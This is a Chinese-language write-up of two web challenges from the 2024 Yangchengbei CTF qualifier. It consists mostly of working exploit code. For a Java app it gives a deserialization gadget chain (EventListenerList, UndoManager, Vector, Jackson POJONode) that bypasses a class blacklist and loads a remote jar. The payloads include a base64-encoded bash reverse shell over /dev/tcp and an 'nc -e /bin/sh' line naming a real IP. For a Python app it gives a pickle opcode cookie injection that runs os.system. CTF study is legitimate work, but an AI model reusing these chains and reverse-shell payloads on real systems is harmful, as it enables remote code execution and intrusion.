2024羊城杯初赛web WP
ez_java
登录用户名密码是admin,admin888,user类里给了,本地调的时候要改改com.example.ycbjava.config.MainRealm的源码
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
    String username = (String)authenticationToken.getPrincipal();
    String password = new String((char[])((char[])authenticationToken.getCredentials()));
    String realusername = "admin";
    String realpassword = "admin888";
    if (username.equals(realusername) && password.equals(realpassword)) {
        return new SimpleAuthenticationInfo(username, password, this.getName());
    } else {
        throw new IncorrectCredentialsException("Username or password is incorrect.");
    }
}有两个接口:ser和upload,分别可以base64解码并反序列化一个payload,和上传一个任意文件到指定目录
不过反序列化读Object用的是自定义对象输入流,有一个类的黑名单,限制有些多
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};ban了执行字节码的TemplatesImpl,触发toString的BadAttributeValueExpException XString不说,把SignedObject也ban了,不能打二次反序列化
期间想过用RMI打二次,后来才知道jdk8u121以上的版本,RMI接受并反序列化数据前有一个过滤器ObjectInputFilter会以白名单过滤传来的对象,因此所有链子都打不了了
注意到题目有一个User类可序列化
public class User implements Serializable {
    public String username = "admin";
    public String password = "admin888";
    public String gift;
    public User() {
    }
    public String getGift() {
        String gift = this.username;
        gift = gift.trim();
        gift = gift.toLowerCase();
        if (gift.startsWith("http") || gift.startsWith("file")) {
            gift = "nonono";
        }
        try {
            URL url1 = new URL(gift);
            Class<?> URLclass = Class.forName("java.net.URLClassLoader");
            Method add = URLclass.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
            add.invoke(classloader, url1);
        } catch (Exception var6) {
            var6.printStackTrace();
        }
        return gift;
    }
    public void setGift(String gift) {
        this.gift = gift;
    }
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
    public String getUsername() {
        return this.username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return this.password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
}其中getGift方法会加载一个jar包,至于不能以http或file开头,用url:绕就可以,在URL类的构造方法中:

而这个方法正好是变量Gift的getter方法,可以通过jackson的链子触发,我们只要把username设为恶意jar包的托管url,然后反序列化触发getGift即可。
现在问题是,ban了BadAttributeValueExpException,XString,需要一个新的链子来触发toString,才能触发JsonNode的序列化来使用任意getter。
这里使用javax.swing.event.EventListenerList
跟一下链子:
poc:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class EventListenerListPoc {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();
    }
    public static byte[][] generateEvilBytes() throws Exception{
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //nc -e /bin/sh 121.199.39.4 3000
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
    public static void main(String[] args) throws Exception {
        //构造用于toString的proxy
        TemplatesImpl tmp = new TemplatesImpl();
        setFieldValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(tmp,"_name","123");
        setFieldValue(tmp,"_bytecodes",generateEvilBytes());
        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(tmp);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
        POJONode pojoNode = new POJONode(proxy);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        serialize(list);
        unserialize();
    }
}首先执行EventListenerList#readObject

这里的序列化、反序列化机制时EventListenerList类自定义的,看看writeObject方法

对于属性listenerList会进行特定的序列化,列表中的每两个元素,写入前一个的getName方法结果(应该是Class对象),以及后一个对象。(当然listenerList肯定是一个transient的Object列表)

从而反序列化的时候就会读出前一个的getName方法结果为listenerTypeOrNull,后一个为l,对其执行add方法

这里如果l不是t类的对象,就会抛出一个错误,在这个错误中,字符串拼接就会隐式调用到l的toString方法。
但是这里对l是有限制的,必须是实现了Eventlistener的类,我们使用UndoManager,他实现了UndoableEditListener,而UndoableEditListener是EventListener的子类
为了触发抛出错误,将数组listenerList设为[其他类class对象,UndoManager]即可
UndoManager的toStirng中:

跟进super.toString()

这里就隐式调用了属性edits的toString,而edits是一个Vector类型的变量,看看Vector的toString,跟进super:

因此,看到Vector的iterator方法,返回子类迭代器对象:

next方法中返回elementData(),跟进看看方法:

因此,该迭代器就是遍历返回elementData数组中的对象。
再看toString,next拿到的对象e被append到StringBuilder中,进行了该对象的toString。
因此,只要把想要执行toString的POJO放到Vector的elementData中即可执行其toString。这里可以反射,也可以使用Vector的add方法。

这样即可达成任意对象toString。
回到题目,先托管一个用于加载的恶意jar包,将恶意语句写到恶意类的readObject方法中:
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class evil123123 implements Serializable {
    private void writeObject(ObjectOutputStream out) throws Exception {
        out.defaultWriteObject();
    }
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}");
    }
}打jar包托管到vps上。然后利用Eventlistener链子写poc来触发User#getGift:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.example.User;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class EventListenerListPoc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }
    public static void main(String[] args) throws Exception {
        User proxy = new User();
        proxy.username="url:http://ip:port/evil321.jar";
        POJONode pojoNode = new POJONode(proxy);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        System.out.println(getb64(list));
    }
}
然后再反序列化已经被加载的恶意类即可。
(当然也可以把Runtime直接写到静态代码块,这样加载的时候就能执行)
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class main {
    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }
    public static void main(String a[]) throws Exception{
        evil123123 e = new evil123123();
        System.out.println(getb64(e));
    }
}成功反弹shell

Lyrics For You
看到一半被队友做了
搓opcode注入cookie,打pickle反序列化,其中加密逻辑给了,直接本地加密一遍即可
opcode黑名单ban得不严:
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']#gtg写的
code = """
(cos
system
S'calc'
o.
""".strip().encode()
print(base64.b64encode(code))
value = touni(cookie_encode(("user", code), "EnjoyThePlayTime123456"))
print(value)压入MARK,压入os.system,压入字符串'calc',然后o即可执行os.system('calc')
 
      


 
            





Comments NOTHING